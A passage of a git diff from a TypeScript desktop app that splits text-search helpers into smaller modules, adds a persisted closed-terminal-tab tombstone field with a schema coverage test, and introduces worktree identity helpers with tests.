+ *  workspace-session-schema.ts, which is at its max-lines limit. */
+export const terminalSurfaceTombstoneSchema = z.object({
+  worktreeId: z.string(),
+  parentTabId: terminalTabIdSchema,
+  leafId: z.string(),
+  ptyId: z.string(),
+  incarnationId: z.string().min(1).max(128),
+  retiredAt: z.number().finite().nonnegative()
+})
diff --git a/src/shared/terminal-tab-id-schema.ts b/src/shared/terminal-tab-id-schema.ts
new file mode 100644
index 00000000000..6dacbe7d8df
--- /dev/null
+++ b/src/shared/terminal-tab-id-schema.ts
@@ -0,0 +1,10 @@
+import { z } from 'zod'
+
+import { isValidTerminalTabId } from './terminal-tab-id'
+
+/** Shared so the session schema and the tombstone value schemas validate tab ids identically.
+ *  Extracted from workspace-session-schema.ts, which is at its max-lines limit. */
+export const terminalTabIdSchema = z
+  .string()
+  .min(1)
+  .refine(isValidTerminalTabId, 'terminal tab id must not contain ":"')
diff --git a/src/shared/text-search-glob-patterns.ts b/src/shared/text-search-glob-patterns.ts
new file mode 100644
index 00000000000..a677f39e8d8
--- /dev/null
+++ b/src/shared/text-search-glob-patterns.ts
@@ -0,0 +1,39 @@
+export function splitSearchGlobPatterns(patterns: string): string[] {
+  const out: string[] = []
+  let current = ''
+  let escaping = false
+  for (const ch of patterns) {
+    if (escaping) {
+      current += `\\${ch}`
+      escaping = false
+      continue
+    }
+    if (ch === '\\') {
+      escaping = true
+      continue
+    }
+    if (ch === ',') {
+      const trimmed = current.trim()
+      if (trimmed) {
+        out.push(trimmed)
+      }
+      current = ''
+      continue
+    }
+    current += ch
+  }
+  if (escaping) {
+    current += '\\'
+  }
+  const trimmed = current.trim()
+  if (trimmed) {
+    out.push(trimmed)
+  }
+  return out
+}
+
+export function toGitGlobPathspec(glob: string, exclude?: boolean): string {
+  const needsRecursive = !glob.includes('/')
+  const pattern = needsRecursive ? `**/${glob}` : glob
+  return exclude ? `:(exclude,glob)${pattern}` : `:(glob)${pattern}`
+}
diff --git a/src/shared/text-search-match-accumulator.ts b/src/shared/text-search-match-accumulator.ts
new file mode 100644
index 00000000000..addad7ee707
--- /dev/null
+++ b/src/shared/text-search-match-accumulator.ts
@@ -0,0 +1,78 @@
+import type { SearchFileResult, SearchMatch } from './code-search-types'
+import type { SearchAccumulator } from './text-search'
+
+const MAX_LINE_CONTENT_LENGTH = 500
+const TRUNCATION_MARKER = '…'
+
+type ClampedLineContext = {
+  lineContent: string
+  column: number
+  matchLength: number
+  displayColumn?: number
+  displayMatchLength?: number
+}
+
+function clampLineContext(
+  text: string,
+  matchStart: number,
+  matchLength: number
+): ClampedLineContext {
+  if (text.length <= MAX_LINE_CONTENT_LENGTH) {
+    return { lineContent: text, column: matchStart + 1, matchLength }
+  }
+  const clampedMatchLength = Math.min(matchLength, MAX_LINE_CONTENT_LENGTH)
+  const remaining = MAX_LINE_CONTENT_LENGTH - clampedMatchLength
+  const leftBudget = Math.floor(remaining / 2)
+  let windowStart = Math.max(0, matchStart - leftBudget)
+  const windowEnd = Math.min(text.length, windowStart + MAX_LINE_CONTENT_LENGTH)
+  windowStart = Math.max(0, windowEnd - MAX_LINE_CONTENT_LENGTH)
+
+  let snippet = text.slice(windowStart, windowEnd)
+  let column = matchStart - windowStart + 1
+  if (windowStart > 0) {
+    snippet = TRUNCATION_MARKER + snippet
+    column += TRUNCATION_MARKER.length
+  }
+  if (windowEnd < text.length) {
+    snippet += TRUNCATION_MARKER
+  }
+  return {
+    lineContent: snippet,
+    column: matchStart + 1,
+    matchLength,
+    displayColumn: column,
+    displayMatchLength: clampedMatchLength
+  }
+}
+
+export function pushSearchMatch(args: {
+  fileResult: SearchFileResult
+  accumulator: SearchAccumulator
+  lineContent: string
+  matchStart: number
+  matchLength: number
+  lineNumber: number
+  maxResults: number
+}): 'continue' | 'stop' {
+  const clamped = clampLineContext(args.lineContent, args.matchStart, args.matchLength)
+  const match: SearchMatch = {
+    line: args.lineNumber,
+    column: clamped.column,
+    matchLength: clamped.matchLength,
+    lineContent: clamped.lineContent
+  }
+  if (clamped.displayColumn !== undefined) {
+    match.displayColumn = clamped.displayColumn
+  }
+  if (clamped.displayMatchLength !== undefined) {
+    match.displayMatchLength = clamped.displayMatchLength
+  }
+  args.fileResult.matches.push(match)
+  args.fileResult.matchCount = (args.fileResult.matchCount ?? 0) + 1
+  args.accumulator.totalMatches++
+  if (args.accumulator.totalMatches >= args.maxResults) {
+    args.accumulator.truncated = true
+    return 'stop'
+  }
+  return 'continue'
+}
diff --git a/src/shared/text-search-paths.ts b/src/shared/text-search-paths.ts
new file mode 100644
index 00000000000..c556a10dedf
--- /dev/null
+++ b/src/shared/text-search-paths.ts
@@ -0,0 +1,20 @@
+import { posix, win32 } from 'node:path'
+
+function pathFlavor(rootPath: string): typeof posix | typeof win32 {
+  if (/^[a-zA-Z]:[\\/]/.test(rootPath) || rootPath.startsWith('\\\\')) {
+    return win32
+  }
+  return posix
+}
+
+export function normalizeRelativePath(path: string): string {
+  return path.replace(/[\\/]+/g, '/').replace(/^\/+/, '')
+}
+
+export function relativeToSearchRoot(rootPath: string, absolutePath: string): string {
+  return pathFlavor(rootPath).relative(rootPath, absolutePath)
+}
+
+export function joinSearchRoot(rootPath: string, relativePath: string): string {
+  return pathFlavor(rootPath).join(rootPath, relativePath)
+}
diff --git a/src/shared/text-search.test.ts b/src/shared/text-search.test.ts
index 108d07a76c5..2ecbc53d8b4 100644
--- a/src/shared/text-search.test.ts
+++ b/src/shared/text-search.test.ts
@@ -12,11 +12,10 @@ import {
   ingestGitGrepLine,
   ingestRgJsonLine,
   MAX_LINE_CONTENT_LENGTH,
-  normalizeRelativePath,
-  SEARCH_JSON_STRUCTURE_LIMITS,
-  splitSearchGlobPatterns,
-  toGitGlobPathspec
+  SEARCH_JSON_STRUCTURE_LIMITS
 } from './text-search'
+import { splitSearchGlobPatterns, toGitGlobPathspec } from './text-search-glob-patterns'
+import { normalizeRelativePath } from './text-search-paths'
 
 describe('normalizeRelativePath', () => {
   it('collapses mixed separators and strips leading slashes', () => {
diff --git a/src/shared/text-search.ts b/src/shared/text-search.ts
index 7919e50cb47..289c5820397 100644
--- a/src/shared/text-search.ts
+++ b/src/shared/text-search.ts
@@ -1,6 +1,3 @@
-/* oxlint-disable max-lines -- Why: single source of truth for rg/git-grep arg
- * construction and --json/submatch parsing shared by main process and SSH relay;
- * re-splitting would re-introduce the maxBuffer divergence the design doc calls out. */
 /**
  * Shared, pure text-search helpers used by both the local main process and the
  * SSH relay. No Electron, child_process, or fs — the caller owns process
@@ -10,16 +7,13 @@
  * can't re-diverge (notably the relay's old execFile maxBuffer that dropped matches).
  * Design doc: docs/design/share-text-search.md.
  */
-import { posix, win32 } from 'node:path'
 import { assertJsonTextStructureWithinLimits } from './json-text-structure-limit'
 import { normalizeSearchResult } from './search-match-count'
 import { escapeRegex } from './string-utils'
-import type {
-  SearchFileResult,
-  SearchMatch,
-  SearchOptions,
-  SearchResult
-} from './code-search-types'
+import type { SearchFileResult, SearchOptions, SearchResult } from './code-search-types'
+import { pushSearchMatch } from './text-search-match-accumulator'
+import { splitSearchGlobPatterns, toGitGlobPathspec } from './text-search-glob-patterns'
+import { joinSearchRoot, normalizeRelativePath, relativeToSearchRoot } from './text-search-paths'
 
 export type SearchAccumulator = {
   fileMap: Map<string, SearchFileResult>
@@ -31,30 +25,6 @@ export function createAccumulator(): SearchAccumulator {
   return { fileMap: new Map(), totalMatches: 0, truncated: false }
 }
 
-function acceptMatch(fileResult: SearchFileResult): void {
-  fileResult.matchCount = (fileResult.matchCount ?? 0) + 1
-}
-
-// Why: normalize separators and strip leading `/` so results are cross-platform stable and don't break callers' `join(rootPath, relPath)`.
-export function normalizeRelativePath(path: string): string {
-  return path.replace(/[\\/]+/g, '/').replace(/^\/+/, '')
-}
-
-function pathFlavor(rootPath: string): typeof posix | typeof win32 {
-  if (/^[a-zA-Z]:[\\/]/.test(rootPath) || rootPath.startsWith('\\\\')) {
-    return win32
-  }
-  return posix
-}
-
-function relativeToSearchRoot(rootPath: string, absPath: string): string {
-  return pathFlavor(rootPath).relative(rootPath, absPath)
-}
-
-function joinSearchRoot(rootPath: string, relPath: string): string {
-  return pathFlavor(rootPath).join(rootPath, relPath)
-}
-
 // ─── Constants shared by both callers ────────────────────────────────
 
 export const MAX_MATCHES_PER_FILE = 100
@@ -70,78 +40,6 @@ const SEARCH_MAX_FILE_SIZE = 5 * 1024 * 1024
 
 // Why: mega-byte lines (minified/generated files) × 2000-match caps blow past the 16MB SSH relay MAX_MESSAGE_SIZE; clamp each match's context.
 export const MAX_LINE_CONTENT_LENGTH = 500
-const TRUNCATION_MARKER = '…'
-
-function clampLineContext(
-  text: string,
-  matchStart: number,
-  matchLength: number
-): {
-  lineContent: string
-  column: number
-  matchLength: number
-  displayColumn?: number
-  displayMatchLength?: number
-} {
-  if (text.length <= MAX_LINE_CONTENT_LENGTH) {
-    return { lineContent: text, column: matchStart + 1, matchLength }
-  }
-  // Clamp the match first so a pathological multi-MB regex hit can't defeat the windowing below.
-  const clampedMatchLength = Math.min(matchLength, MAX_LINE_CONTENT_LENGTH)
-  const remaining = MAX_LINE_CONTENT_LENGTH - clampedMatchLength
-  const leftBudget = Math.floor(remaining / 2)
-  let windowStart = Math.max(0, matchStart - leftBudget)
-  let windowEnd = Math.min(text.length, windowStart + MAX_LINE_CONTENT_LENGTH)
-  windowStart = Math.max(0, windowEnd - MAX_LINE_CONTENT_LENGTH)
-
-  let snippet = text.slice(windowStart, windowEnd)
-  let column = matchStart - windowStart + 1
-  if (windowStart > 0) {
-    snippet = TRUNCATION_MARKER + snippet
-    column += TRUNCATION_MARKER.length
-  }
-  if (windowEnd < text.length) {
-    snippet = snippet + TRUNCATION_MARKER
-  }
-  return {
-    lineContent: snippet,
-    column: matchStart + 1,
-    matchLength,
-    displayColumn: column,
-    displayMatchLength: clampedMatchLength
-  }
-}
-
-// Why: shared by rg and git-grep to preserve the synchronous truncation ordering callers require.
-function pushMatch(
-  fileResult: SearchFileResult,
-  acc: SearchAccumulator,
-  clamped: ReturnType<typeof clampLineContext>,
-  lineNumber: number,
-  maxResults: number
-): 'continue' | 'stop' {
-  // Why: direct assignment avoids conditional-spread allocations on the per-match hot path.
-  const match: SearchMatch = {
-    line: lineNumber,
-    column: clamped.column,
-    matchLength: clamped.matchLength,
-    lineContent: clamped.lineContent
-  }
-  if (clamped.displayColumn !== undefined) {
-    match.displayColumn = clamped.displayColumn
-  }
-  if (clamped.displayMatchLength !== undefined) {
-    match.displayMatchLength = clamped.displayMatchLength
-  }
-  fileResult.matches.push(match)
-  acceptMatch(fileResult)
-  acc.totalMatches++
-  if (acc.totalMatches >= maxResults) {
-    acc.truncated = true
-    return 'stop'
-  }
-  return 'continue'
-}
 
 // ─── rg ─────────────────────────────────────────────────────────────
 
@@ -150,40 +48,6 @@ export type SearchOptionsLike = Pick<
   'caseSensitive' | 'wholeWord' | 'useRegex' | 'includePattern' | 'excludePattern'
 >
 
-export function splitSearchGlobPatterns(patterns: string): string[] {
-  const out: string[] = []
-  let current = ''
-  let escaping = false
-  for (const ch of patterns) {
-    if (escaping) {
-      current += `\\${ch}`
-      escaping = false
-      continue
-    }
-    if (ch === '\\') {
-      escaping = true
-      continue
-    }
-    if (ch === ',') {
-      const trimmed = current.trim()
-      if (trimmed) {
-        out.push(trimmed)
-      }
-      current = ''
-      continue
-    }
-    current += ch
-  }
-  if (escaping) {
-    current += '\\'
-  }
-  const trimmed = current.trim()
-  if (trimmed) {
-    out.push(trimmed)
-  }
-  return out
-}
-
 /**
  * Build the complete rg argv (flags + `--` + query + target) for both callers to spawn as-is.
  *
@@ -284,8 +148,17 @@ export function ingestRgJsonLine(
       fileResult = { filePath: absPath, relativePath: relPath, matches: [], matchCount: 0 }
       acc.fileMap.set(absPath, fileResult)
     }
-    const clamped = clampLineContext(lineContent, sub.start, sub.end - sub.start)
-    if (pushMatch(fileResult, acc, clamped, lineNumber, maxResults) === 'stop') {
+    if (
+      pushSearchMatch({
+        fileResult,
+        accumulator: acc,
+        lineContent,
+        matchStart: sub.start,
+        matchLength: sub.end - sub.start,
+        lineNumber,
+        maxResults
+      }) === 'stop'
+    ) {
       return 'stop'
     }
   }
@@ -294,17 +167,6 @@ export function ingestRgJsonLine(
 
 // ─── git grep ───────────────────────────────────────────────────────
 
-/**
- * Convert a user-facing glob pattern into a git pathspec.
- *
- * Why: bare git pathspecs only match the repo root, so wrap with `:(glob)` and prepend `**\/` to replicate rg's recursive-by-default globbing.
- */
-export function toGitGlobPathspec(glob: string, exclude?: boolean): string {
-  const needsRecursive = !glob.includes('/')
-  const pattern = needsRecursive ? `**/${glob}` : glob
-  return exclude ? `:(exclude,glob)${pattern}` : `:(glob)${pattern}`
-}
-
 export function buildGitGrepArgs(query: string, opts: SearchOptionsLike): string[] {
   // Why: --no-recurse-submodules avoids failing when submodule.recurse=true conflicts with --untracked; --null disambiguates colon-containing filenames.
   const gitArgs: string[] = [
@@ -426,19 +288,35 @@ export function ingestGitGrepLine(
 
   // Why: no JS-side submatch regex (git accepts patterns JS RegExp rejects); fall back to whole-line highlight so the hit still shows.
   if (submatchRegex === null) {
-    const clamped = clampLineContext(lineContent, 0, lineContent.length)
     const fileResult = getFileResult()
-    return pushMatch(fileResult, acc, clamped, lineNum, maxResults)
+    return pushSearchMatch({
+      fileResult,
+      accumulator: acc,
+      lineContent,
+      matchStart: 0,
+      matchLength: lineContent.length,
+      lineNumber: lineNum,
+      maxResults
+    })
   }
 
   submatchRegex.lastIndex = 0
   let m: RegExpExecArray | null
   let acceptedLineMatch = false
   while ((m = submatchRegex.exec(lineContent)) !== null) {
-    const clamped = clampLineContext(lineContent, m.index, m[0].length)
     const fileResult = getFileResult()
     acceptedLineMatch = true
-    if (pushMatch(fileResult, acc, clamped, lineNum, maxResults) === 'stop') {
+    if (
+      pushSearchMatch({
+        fileResult,
+        accumulator: acc,
+        lineContent,
+        matchStart: m.index,
+        matchLength: m[0].length,
+        lineNumber: lineNum,
+        maxResults
+      }) === 'stop'
+    ) {
       return 'stop'
     }
     // Prevent infinite loop on zero-length regex matches.
@@ -448,9 +326,18 @@ export function ingestGitGrepLine(
   }
   // Why: git grep confirmed the line but JS regex found no occurrence; keep it navigable, don't drop a git-confirmed hit.
   if (!acceptedLineMatch) {
-    const clamped = clampLineContext(lineContent, 0, lineContent.length)
     const fileResult = getFileResult()
-    if (pushMatch(fileResult, acc, clamped, lineNum, maxResults) === 'stop') {
+    if (
+      pushSearchMatch({
+        fileResult,
+        accumulator: acc,
+        lineContent,
+        matchStart: 0,
+        matchLength: lineContent.length,
+        lineNumber: lineNum,
+        maxResults
+      }) === 'stop'
+    ) {
       return 'stop'
     }
   }
diff --git a/src/shared/workspace-session-browser-schema.ts b/src/shared/workspace-session-browser-schema.ts
index c4c71a905dd..7f29b1c1806 100644
--- a/src/shared/workspace-session-browser-schema.ts
+++ b/src/shared/workspace-session-browser-schema.ts
@@ -13,6 +13,17 @@ const browserLoadErrorSchema = z.object({
   validatedUrl: z.string()
 })
 
+/**
+ * Why persisted at all: this is the page's identity. A restored page re-reads the document off
+ * today's owners and mints a fresh grant for it, and the grant it had before the restart is
+ * deliberately not written anywhere — see `BrowserPageDocLocation`.
+ */
+const browserPageDocLocationSchema = z.object({
+  kind: z.literal('workspace-doc'),
+  worktreeId: z.string(),
+  filePath: z.string()
+})
+
 const browserViewportPresetIdSchema = z.enum([
   'mobile-s',
   'mobile-m',
@@ -46,7 +57,8 @@ export const browserWorkspaceSchema: z.ZodType<BrowserWorkspace> = z.object({
   canGoBack: z.boolean(),
   canGoForward: z.boolean(),
   loadError: browserLoadErrorSchema.nullable(),
-  createdAt: z.number()
+  createdAt: z.number(),
+  docLocation: browserPageDocLocationSchema.nullable().optional()
 })
 
 export const browserPageSchema = z.object({
@@ -71,7 +83,11 @@ export const browserPageSchema = z.object({
   // Why: optional+nullable so sessions persisted before viewport presets were
   // added still validate; without this, zod would strip the field during
   // restore and reset the user's chosen preset on every app restart.
-  viewportPresetId: browserViewportPresetIdSchema.nullable().optional()
+  viewportPresetId: browserViewportPresetIdSchema.nullable().optional(),
+  // Why listed here and not just typed: z.object strips what it does not name, so an unlisted
+  // docLocation restores a workspace document as a blank New Tab — the page keeps its blank url
+  // and loses the only field that said which document it was.
+  docLocation: browserPageDocLocationSchema.nullable().optional()
 })
 
 const browserHistoryEntrySchema = z.object({
diff --git a/src/shared/workspace-session-schema-field-coverage.test.ts b/src/shared/workspace-session-schema-field-coverage.test.ts
new file mode 100644
index 00000000000..4ace00825e4
--- /dev/null
+++ b/src/shared/workspace-session-schema-field-coverage.test.ts
@@ -0,0 +1,116 @@
+import { describe, expect, it } from 'vitest'
+import type { z } from 'zod'
+
+import { parseWorkspaceSession, workspaceSessionStateSchema } from './workspace-session-schema'
+import type { WorkspaceSessionState } from './workspace-session-state-types'
+
+/**
+ * `workspaceSessionStateSchema` is the load boundary for BOTH partitions —
+ * `normalize-loaded-state-collections.ts` for `local`, `workspace-session-partitions.ts` for
+ * `ssh:<target>`. Zod strips unknown keys and the write side does not validate, so a field declared
+ * on WorkspaceSessionState but missing here reaches disk and is silently discarded on the next
+ * launch.
+ *
+ * That failure is invisible to any test living inside one app process, which is how the closed-tab
+ * tombstone map shipped unpersisted: its unit suites, its e2e oracle and an A/B control were all
+ * green, and the fix still did not survive a quit-and-relaunch.
+ *
+ * Two sibling tables (`profile-project-session-field-disposition.ts`,
+ * `workspace-session-host-field-ownership.ts`) already pin themselves with
+ * `satisfies Record<keyof WorkspaceSessionState, ...>`. This schema had no such guard and is the one
+ * that fell behind, so the ratchet below is the same shape.
+ */
+const PERSISTED_WORKSPACE_SESSION_FIELDS = {
+  activeRepoId: true,
+  activeWorkspaceKey: true,
+  activeWorkspaceExecutionHostId: true,
+  activeWorktreeId: true,
+  activeTabId: true,
+  tabsByWorktree: true,
+  terminalLayoutsByTabId: true,
+  activeWorktreeIdsOnShutdown: true,
+  openFilesByWorktree: true,
+  activeFileIdByWorktree: true,
+  markdownFrontmatterVisible: true,
+  browserTabsByWorktree: true,
+  browserPagesByWorkspace: true,
+  activeBrowserTabIdByWorktree: true,
+  clientHostedBrowserPagesByWorktree: true,
+  clientHostedBrowserCloseIntentsByEnvironment: true,
+  activeTabTypeByWorktree: true,
+  browserUrlHistory: true,
+  activeTabIdByWorktree: true,
+  unifiedTabs: true,
+  tabGroups: true,
+  tabGroupLayouts: true,
+  activeGroupIdByWorktree: true,
+  activeConnectionIdsAtShutdown: true,
+  remoteSessionIdsByTabId: true,
+  lastVisitedAtByWorktreeId: true,
+  defaultTerminalTabsAppliedByWorktreeId: true,
+  sleepingAgentSessionsByPaneKey: true,
+  terminalPtyIncarnationsByPaneKey: true,
+  terminalTopologyRevisionByRepoId: true,
+  terminalSurfaceTombstonesByPaneKey: true,
+  closedTerminalTabTombstonesByTabId: true
+} satisfies Record<keyof WorkspaceSessionState, true>
+
+const MINIMAL_SESSION = {
+  activeRepoId: null,
+  activeWorktreeId: null,
+  activeTabId: null,
+  tabsByWorktree: {},
+  terminalLayoutsByTabId: {}
+}
+
+describe('workspaceSessionStateSchema field coverage', () => {
+  it('parses every field declared on WorkspaceSessionState', () => {
+    // The runtime half. `satisfies` above already makes a forgotten field a compile error; this
+    // reports it by name, and catches the reverse case where the list is updated but the schema
+    // is not.
+    // Why the cast: the export is annotated `z.ZodType<WorkspaceSessionState>`, which hides
+    // `.shape`. The value is a z.object; this reads its keys without widening the public type.
+    const schemaKeys = new Set(
+      Object.keys(
+        (workspaceSessionStateSchema as unknown as z.ZodObject<Record<string, z.ZodTypeAny>>).shape
+      )
+    )
+    const missing = Object.keys(PERSISTED_WORKSPACE_SESSION_FIELDS).filter(
+      (field) => !schemaKeys.has(field)
+    )
+
+    expect(missing, `declared on WorkspaceSessionState but absent from the load schema`).toEqual([])
+  })
+
+  it('round-trips the closed-tab tombstone map through parseWorkspaceSession', () => {
+    // The regression this file exists for. Recorded on close, written to disk, stripped on the next
+    // launch — so a close the transport never delivered resurrected after a quit-and-relaunch,
+    // which is precisely the reported shape ("every day I open orca and it opens more tabs").
+    const parsed = parseWorkspaceSession({
+      ...MINIMAL_SESSION,
+      closedTerminalTabTombstonesByTabId: {
+        'tab-1': { closedAt: 1_700_000_000_000, worktreeId: 'repo:wt-1', ackRevision: 4 }
+      }
+    })
+
+    expect(parsed.ok).toBe(true)
+    expect(parsed.ok && parsed.value.closedTerminalTabTombstonesByTabId).toEqual({
+      'tab-1': { closedAt: 1_700_000_000_000, worktreeId: 'repo:wt-1', ackRevision: 4 }
+    })
+  })
+
+  it('salvages a malformed tombstone entry rather than dropping the whole map', () => {
+    const parsed = parseWorkspaceSession({
+      ...MINIMAL_SESSION,
+      closedTerminalTabTombstonesByTabId: {
+        'tab-good': { closedAt: 1, worktreeId: 'repo:wt-1' },
+        'tab-bad': { closedAt: 'nope', worktreeId: 'repo:wt-1' }
+      }
+    })
+
+    expect(parsed.ok).toBe(true)
+    expect(
+      Object.keys((parsed.ok && parsed.value.closedTerminalTabTombstonesByTabId) || {})
+    ).toEqual(['tab-good'])
+  })
+})
diff --git a/src/shared/workspace-session-schema.ts b/src/shared/workspace-session-schema.ts
index f67a8ae0270..2cc23106f9e 100644
--- a/src/shared/workspace-session-schema.ts
+++ b/src/shared/workspace-session-schema.ts
@@ -12,12 +12,14 @@
  * Only a payload that is not a session at all falls back to defaults.
  */
 import { z } from 'zod'
+import { closedTerminalTabTombstoneSchema } from './closed-terminal-tab-tombstones'
 import type { WorkspaceKey } from './folder-workspace-types'
 import type { TabGroupLayoutNode } from './tab-types'
 import type { TerminalPaneLayoutNode } from './terminal-tab-types'
 import type { TuiAgent } from './tui-agent'
 import type { WorkspaceSessionState } from './workspace-session-state-types'
-import { isValidTerminalTabId } from './terminal-tab-id'
+import { terminalTabIdSchema } from './terminal-tab-id-schema'
+import { terminalSurfaceTombstoneSchema } from './terminal-surface-tombstone-schema'
 import { parseExecutionHostId, type ExecutionHostId } from './execution-host'
 import { isTuiAgent } from './tui-agent-config'
 import { isWorkspaceKey } from './workspace-scope'
@@ -35,10 +37,6 @@ import { salvagedField, salvagedOptional, salvagingArray, salvagingRecord } from
 // ─── Terminal pane layout (recursive) ───────────────────────────────
 
 const terminalPaneSplitDirectionSchema = z.enum(['vertical', 'horizontal'])
-const terminalTabIdSchema = z
-  .string()
-  .min(1)
-  .refine(isValidTerminalTabId, 'terminal tab id must not contain ":"')
 const workspaceKeySchema = z.custom<WorkspaceKey>(
   (value) => typeof value === 'string' && isWorkspaceKey(value)
 )
@@ -190,15 +188,6 @@ const tabGroupLayoutNodeSchema: z.ZodType<TabGroupLayoutNode> = z.lazy(() =>
 
 // ─── Workspace session ──────────────────────────────────────────────
 
-const terminalSurfaceTombstoneSchema = z.object({
-  worktreeId: z.string(),
-  parentTabId: terminalTabIdSchema,
-  leafId: z.string(),
-  ptyId: z.string(),
-  incarnationId: z.string().min(1).max(128),
-  retiredAt: z.number().finite().nonnegative()
-})
-
 const worktreeIdSchema = z.string()
 
 export const workspaceSessionStateSchema: z.ZodType<WorkspaceSessionState> = z.object({
@@ -314,6 +303,10 @@ export const workspaceSessionStateSchema: z.ZodType<WorkspaceSessionState> = z.o
   terminalSurfaceTombstonesByPaneKey: salvagedOptional(
     'terminalSurfaceTombstonesByPaneKey',
     salvagingRecord(z.string(), terminalSurfaceTombstoneSchema)
+  ),
+  closedTerminalTabTombstonesByTabId: salvagedOptional(
+    'closedTerminalTabTombstonesByTabId',
+    salvagingRecord(terminalTabIdSchema, closedTerminalTabTombstoneSchema)
   )
 })
 
diff --git a/src/shared/workspace-session-state-types.ts b/src/shared/workspace-session-state-types.ts
index 5e1191f4b08..271941b21c5 100644
--- a/src/shared/workspace-session-state-types.ts
+++ b/src/shared/workspace-session-state-types.ts
@@ -6,6 +6,7 @@ import type { TerminalLayoutSnapshot, TerminalTab } from './terminal-tab-types'
 import type { BrowserHistoryEntry, BrowserPage, BrowserWorkspace } from './browser-workspace-types'
 import type { ClientHostedBrowserCloseIntent } from './client-hosted-browser-close-intent'
 import type { PersistedClientHostedBrowserPage } from './client-hosted-browser-page-record'
+import type { ClosedTerminalTabTombstonesByTabId } from './closed-terminal-tab-tombstones'
 
 /** Minimal subset of OpenFile persisted across restarts.
  *  Only edit-mode files are saved — diffs, conflict reviews, and other
@@ -124,6 +125,9 @@ export type WorkspaceSessionState = {
       retiredAt: number
     }
   >
+  /** Terminal tabs this client watched the user close, kept until the host's own snapshot stops
+   *  listing them. See shared/closed-terminal-tab-tombstones.ts for why absence alone cannot say it. */
+  closedTerminalTabTombstonesByTabId?: ClosedTerminalTabTombstonesByTabId
 }
 
 export type WorkspaceSessionPatch = Partial<WorkspaceSessionState>
diff --git a/src/shared/worktree/id.test.ts b/src/shared/worktree/id.test.ts
index 726e53abe5a..156c78e9959 100644
--- a/src/shared/worktree/id.test.ts
+++ b/src/shared/worktree/id.test.ts
@@ -2,6 +2,7 @@ import { describe, expect, it } from 'vitest'
 import {
   WORKTREE_ID_SEPARATOR,
   getRepoIdFromWorktreeId,
+  getRepoMainWorktreeId,
   getWorktreePathBasenameFromId,
   splitWorktreeId,
   splitWorktreeIdForFilesystem,
@@ -14,6 +15,19 @@ describe('WORKTREE_ID_SEPARATOR', () => {
   })
 })
 
+describe('getRepoMainWorktreeId', () => {
+  it('round-trips through the id parsers on posix and Windows paths', () => {
+    for (const repo of [
+      { id: 'repo-123', path: '/abs/path' },
+      { id: 'repo-123', path: 'C:\\Users\\me\\repo' }
+    ]) {
+      const worktreeId = getRepoMainWorktreeId(repo)
+      expect(worktreeId).toBe(`${repo.id}${WORKTREE_ID_SEPARATOR}${repo.path}`)
+      expect(splitWorktreeId(worktreeId)).toEqual({ repoId: repo.id, worktreePath: repo.path })
+    }
+  })
+})
+
 describe('getRepoIdFromWorktreeId', () => {
   it('returns the repo id for a canonical worktree id', () => {
     expect(getRepoIdFromWorktreeId('repo-123::/abs/path')).toBe('repo-123')
diff --git a/src/shared/worktree/id.ts b/src/shared/worktree/id.ts
index 478ac6bfa76..82220328eb3 100644
--- a/src/shared/worktree/id.ts
+++ b/src/shared/worktree/id.ts
@@ -1,5 +1,6 @@
 import { normalizeRuntimePathForComparison } from '../cross-platform-path'
 import { WORKTREE_ID_SEPARATOR } from '../pty-session-id-format'
+import type { Repo } from '../repo-types'
 
 export { WORKTREE_ID_SEPARATOR } from '../pty-session-id-format'
 
@@ -13,6 +14,14 @@ const FOLDER_WORKSPACE_INSTANCE_SUFFIX = new RegExp(
   `${FOLDER_WORKSPACE_INSTANCE_SEPARATOR.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}[0-9a-f-]{36}$`
 )
 
+/**
+ * Worktree id of the repo's own checkout. A bare repo id is never a valid worktree id —
+ * runtimes reject it with `worktree_id_requires_full_path` (#16447).
+ */
+export function getRepoMainWorktreeId(repo: Pick<Repo, 'id' | 'path'>): string {
+  return `${repo.id}${WORKTREE_ID_SEPARATOR}${repo.path}`
+}
+
 export function getRepoIdFromWorktreeId(worktreeId: string): string {
   const separatorIdx = worktreeId.indexOf(WORKTREE_ID_SEPARATOR)
   return separatorIdx === -1 ? worktreeId : worktreeId.slice(0, separatorIdx)
diff --git a/src/shared/worktree/identity.test.ts b/src/shared/worktree/identity.test.ts
new file mode 100644
index 00000000000..c1e109cb7ad
--- /dev/null
+++ b/src/shared/worktree/identity.test.ts
@@ -0,0 +1,28 @@
+import { describe, expect, it } from 'vitest'
+import { canonicalWorktreeIdentity, type WorktreeIdentityRef } from './identity'
+
+describe('canonical worktree identity', () => {
+  const local: WorktreeIdentityRef = {
+    worktreeId: 'repo-1::/workspace/feature',
+    executionHostId: 'local',
+    instanceId: '11111111-1111-4111-8111-111111111111'
+  }
+  const remote: WorktreeIdentityRef = {
+    ...local,
+    executionHostId: 'ssh:build-box'
+  }
+
+  it('separates same locator and instance across execution hosts', () => {
+    expect(canonicalWorktreeIdentity(local)).not.toBe(canonicalWorktreeIdentity(remote))
+  })
+
+  it('is stable when only the path locator changes', () => {
+    expect(
+      canonicalWorktreeIdentity({ ...local, worktreeId: 'repo-1::/workspace/renamed-feature' })
+    ).toBe(canonicalWorktreeIdentity(local))
+  })
+
+  it('does not use the display name as identity input', () => {
+    expect(canonicalWorktreeIdentity(local)).toBe(canonicalWorktreeIdentity({ ...local }))
+  })
+})
diff --git a/src/shared/worktree/identity.ts b/src/shared/worktree/identity.ts
new file mode 100644
index 00000000000..382d4329792
--- /dev/null
+++ b/src/shared/worktree/identity.ts
@@ -0,0 +1,29 @@
+import type { ExecutionHostId } from '../execution-host'
+
+/** Stable fields needed to identify one checkout occupant. */
+export type WorktreeIdentityRef = {
+  /** Existing repo/path locator; mutable when the folder moves. */
+  worktreeId: string
+  /** Host that owns execution for this checkout. */
+  executionHostId: ExecutionHostId
+  /** Durable identity for this checkout occupant. */
+  instanceId: string
+}
+export type WorktreeIdentity = Omit<WorktreeIdentityRef, 'worktreeId'> & {
+  key: string
+}
+
+/**
+ * Canonical exact identity for one worktree occupant.
+ * The locator is deliberately excluded so a folder rename preserves identity.
+ */
+export function canonicalWorktreeIdentity(ref: WorktreeIdentityRef): string {
+  return `wt2:${encodeURIComponent(ref.executionHostId)}:${encodeURIComponent(ref.instanceId)}`
+}
+export function createWorktreeIdentity(ref: WorktreeIdentityRef): WorktreeIdentity {
+  return {
+    key: canonicalWorktreeIdentity(ref),
+    executionHostId: ref.executionHostId,
+    instanceId: ref.instanceId
+  }
+}
diff --git a/src/shared/worktree/types.ts b/src/shared/worktree/types.ts
index af6252f5c3a..97c11abf3eb 100644
--- a/src/shared/worktree/types.ts
